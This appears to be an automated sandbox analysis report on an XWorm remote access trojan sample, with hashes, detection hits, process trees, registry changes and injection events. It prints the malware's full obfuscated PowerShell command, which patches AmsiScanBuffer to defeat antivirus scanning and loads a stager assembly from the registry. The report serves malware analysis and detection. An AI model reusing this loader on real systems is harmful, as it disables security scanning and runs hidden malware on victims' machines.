xworm | c7b6a483a1b5ee83e9a76b15db612c59812fce4f795f7556eaf7cf50087d3125

Analysis

max time kernel
150s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
10/06/2024, 21:58

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General

Target
Output.exe
Size 237KB
Sample240610-1vnarasckf
SHA256 c7b6a483a1b5ee83e9a76b15db612c59812fce4f795f7556eaf7cf50087d3125
MD5 270cded219fb5dbca7c44dca15b8887a
SHA1 d357ffd325c9ce84cd51fa917b9cd145ecd386c4
SHA512 ca828a81daf5dd89238bb395c0b55be34d0819355a99c14bd1fbc54d432fe8c976ffbc15bced95ae0e288698301cd8f9f9a39df7502c4f77cbc12fe9121e83bb
SSDEEP 6144:dfvOLj+JeaUv/2cugIUnSCrZsG8RoZluywCUdkqAao52:YP+JeLGCZuRoHyCUdkf
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000700000002a8ae-7.dat	family_xworm
behavioral2/memory/4728-22-0x00000000000D0000-0x00000000000E6000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2256 created 644	2256	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Executes dropped EXE 2 IoCs

pid	Process
4728	$77dd.exe
1576	Install.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2256 set thread context of 1552	2256	powershell.EXE	82

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2256	powershell.EXE
2256	powershell.EXE
2256	powershell.EXE
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe
1552	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3276	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2256	powershell.EXE
Token: SeDebugPrivilege	2256	powershell.EXE
Token: SeDebugPrivilege	1552	dllhost.exe
Token: SeDebugPrivilege	4728	$77dd.exe
Token: SeShutdownPrivilege	468	dwm.exe
Token: SeCreatePagefilePrivilege	468	dwm.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3276	Explorer.EXE
3276	Explorer.EXE
3276	Explorer.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3276	Explorer.EXE
3276	Explorer.EXE
3276	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 4728	2072	Output.exe	78
PID 2072 wrote to memory of 4728	2072	Output.exe	78
PID 2072 wrote to memory of 1576	2072	Output.exe	79
PID 2072 wrote to memory of 1576	2072	Output.exe	79
PID 2072 wrote to memory of 1576	2072	Output.exe	79
PID 2256 wrote to memory of 1552	2256	powershell.EXE	82
PID 2256 wrote to memory of 1552	2256	powershell.EXE	82
PID 2256 wrote to memory of 1552	2256	powershell.EXE	82
PID 2256 wrote to memory of 1552	2256	powershell.EXE	82
PID 2256 wrote to memory of 1552	2256	powershell.EXE	82
PID 2256 wrote to memory of 1552	2256	powershell.EXE	82
PID 2256 wrote to memory of 1552	2256	powershell.EXE	82
PID 2256 wrote to memory of 1552	2256	powershell.EXE	82
PID 1552 wrote to memory of 644	1552	dllhost.exe	5
PID 1552 wrote to memory of 696	1552	dllhost.exe	7
PID 1552 wrote to memory of 1000	1552	dllhost.exe	12
PID 1552 wrote to memory of 468	1552	dllhost.exe	13
PID 1552 wrote to memory of 788	1552	dllhost.exe	14
PID 1552 wrote to memory of 716	1552	dllhost.exe	15
PID 1552 wrote to memory of 1064	1552	dllhost.exe	16
PID 1552 wrote to memory of 1120	1552	dllhost.exe	17
PID 1552 wrote to memory of 1128	1552	dllhost.exe	18
PID 1552 wrote to memory of 1236	1552	dllhost.exe	20
PID 1552 wrote to memory of 1244	1552	dllhost.exe	21
PID 1552 wrote to memory of 1320	1552	dllhost.exe	22
PID 1552 wrote to memory of 1408	1552	dllhost.exe	23
PID 1552 wrote to memory of 1488	1552	dllhost.exe	24
PID 1552 wrote to memory of 1512	1552	dllhost.exe	25
PID 1552 wrote to memory of 1588	1552	dllhost.exe	26
PID 1552 wrote to memory of 1596	1552	dllhost.exe	27
PID 1552 wrote to memory of 1676	1552	dllhost.exe	28
PID 1552 wrote to memory of 1732	1552	dllhost.exe	29
PID 1552 wrote to memory of 1760	1552	dllhost.exe	30
PID 1552 wrote to memory of 1856	1552	dllhost.exe	31
PID 1552 wrote to memory of 1868	1552	dllhost.exe	32
PID 1552 wrote to memory of 1224	1552	dllhost.exe	33
PID 1552 wrote to memory of 1300	1552	dllhost.exe	34
PID 1552 wrote to memory of 432	1552	dllhost.exe	35
PID 1552 wrote to memory of 2064	1552	dllhost.exe	36
PID 1552 wrote to memory of 2168	1552	dllhost.exe	37
PID 1552 wrote to memory of 2280	1552	dllhost.exe	39
PID 1552 wrote to memory of 2308	1552	dllhost.exe	40
PID 1552 wrote to memory of 2536	1552	dllhost.exe	41
PID 1552 wrote to memory of 2552	1552	dllhost.exe	42
PID 1552 wrote to memory of 2600	1552	dllhost.exe	43
PID 1552 wrote to memory of 2612	1552	dllhost.exe	44
PID 1552 wrote to memory of 2656	1552	dllhost.exe	45
PID 1552 wrote to memory of 2720	1552	dllhost.exe	46
PID 1552 wrote to memory of 2756	1552	dllhost.exe	47
PID 1552 wrote to memory of 2784	1552	dllhost.exe	48
PID 1552 wrote to memory of 2792	1552	dllhost.exe	49
PID 1552 wrote to memory of 2804	1552	dllhost.exe	50
PID 1552 wrote to memory of 3092	1552	dllhost.exe	52
PID 1552 wrote to memory of 3276	1552	dllhost.exe	53
PID 1552 wrote to memory of 3432	1552	dllhost.exe	54
PID 1552 wrote to memory of 3456	1552	dllhost.exe	55
PID 1552 wrote to memory of 3880	1552	dllhost.exe	58
PID 1552 wrote to memory of 3952	1552	dllhost.exe	59
PID 1552 wrote to memory of 4012	1552	dllhost.exe	60
PID 1552 wrote to memory of 4048	1552	dllhost.exe	61
PID 1552 wrote to memory of 4284	1552	dllhost.exe	62
PID 1552 wrote to memory of 4392	1552	dllhost.exe	63
PID 1552 wrote to memory of 3548	1552	dllhost.exe	65
PID 1552 wrote to memory of 1440	1552	dllhost.exe	66

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:468
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c515b86c-5548-45ce-870e-2b652e453f3a}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1552

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:yhuYuXabKeME{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$GEjIEUucZxbPdW,[Parameter(Position=1)][Type]$fOlKdHMYrs)$gyXLKYMtWWl=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+'e'+[Char](99)+''+'t'+''+'e'+''+'d'+'D'+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+'m'+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'T'+[Char](121)+''+'p'+'e',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+'c,'+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+','+'A'+'n'+''+'s'+''+[Char](105)+''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+'a'+'s'+''+'s'+'',[MulticastDelegate]);$gyXLKYMtWWl.DefineConstructor('RT'+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+'a'+'m'+''+'e'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+','+[Char](80)+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$GEjIEUucZxbPdW).SetImplementationFlags(''+'R'+'u'+'n'+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+''+[Char](110)+'ag'+[Char](101)+''+[Char](100)+'');$gyXLKYMtWWl.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+'ke',''+'P'+''+'u'+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+'V'+'i'+'rt'+'u'+''+[Char](97)+''+[Char](108)+'',$fOlKdHMYrs,$GEjIEUucZxbPdW).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+'t'+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+'g'+[Char](101)+'d');Write-Output $gyXLKYMtWWl.CreateType();}$rBfcRyYlNliHh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'s'+[Char](116)+''+'e'+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType('Mic'+'r'+''+'o'+''+'s'+''+[Char](111)+''+'f'+''+[Char](116)+'.W'+'i'+'n'+[Char](51)+'2'+'.'+''+'U'+''+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$PRAyzgcapcNCRI=$rBfcRyYlNliHh.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+'o'+'c'+[Char](65)+''+'d'+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](116)+'at'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$NlzHeMfgGxcNghnKwwj=yhuYuXabKeME @([String])([IntPtr]);$cXYfrdCvToIDTqbAqlaSCg=yhuYuXabKeME @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kfeKlYymlgE=$rBfcRyYlNliHh.GetMethod('G'+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'rn'+'e'+''+'l'+''+[Char](51)+'2.d'+'l'+'l')));$SnkaqFRKXVPaIG=$PRAyzgcapcNCRI.Invoke($Null,@([Object]$kfeKlYymlgE,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+'a'+''+[Char](114)+'y'+[Char](65)+'')));$qONcdUboeTAWkSPCO=$PRAyzgcapcNCRI.Invoke($Null,@([Object]$kfeKlYymlgE,[Object]('V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+'P'+'ro'+[Char](116)+''+[Char](101)+''+'c'+''+'t'+'')));$DXRKVch=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SnkaqFRKXVPaIG,$NlzHeMfgGxcNghnKwwj).Invoke(''+[Char](97)+''+[Char](109)+'s'+'i'+'.'+'d'+''+[Char](108)+'l');$ZYFKOsFplqmDAqEvu=$PRAyzgcapcNCRI.Invoke($Null,@([Object]$DXRKVch,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+'c'+[Char](97)+''+[Char](110)+''+'B'+'uf'+[Char](102)+'er')));$gbsuZNlcPa=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qONcdUboeTAWkSPCO,$cXYfrdCvToIDTqbAqlaSCg).Invoke($ZYFKOsFplqmDAqEvu,[uint32]8,4,[ref]$gbsuZNlcPa);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ZYFKOsFplqmDAqEvu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qONcdUboeTAWkSPCO,$cXYfrdCvToIDTqbAqlaSCg).Invoke($ZYFKOsFplqmDAqEvu,[uint32]8,0x20,[ref]$gbsuZNlcPa);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue('$'+'7'+''+[Char](55)+''+[Char](115)+'ta'+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1512
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2064

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2720

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2804

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3092

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3276
- C:\Users\Admin\AppData\Local\Temp\Output.exe
  "C:\Users\Admin\AppData\Local\Temp\Output.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2072
- - C:\Users\Admin\AppData\Roaming\$77dd.exe
    "C:\Users\Admin\AppData\Roaming\$77dd.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4728
- - C:\Users\Admin\AppData\Roaming\Install.exe
    "C:\Users\Admin\AppData\Roaming\Install.exe"
    3⤵
    - Executes dropped EXE
    PID:1576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3456

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3880

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4012

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4048

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4284

C:\Windows\system32\svchost.exe
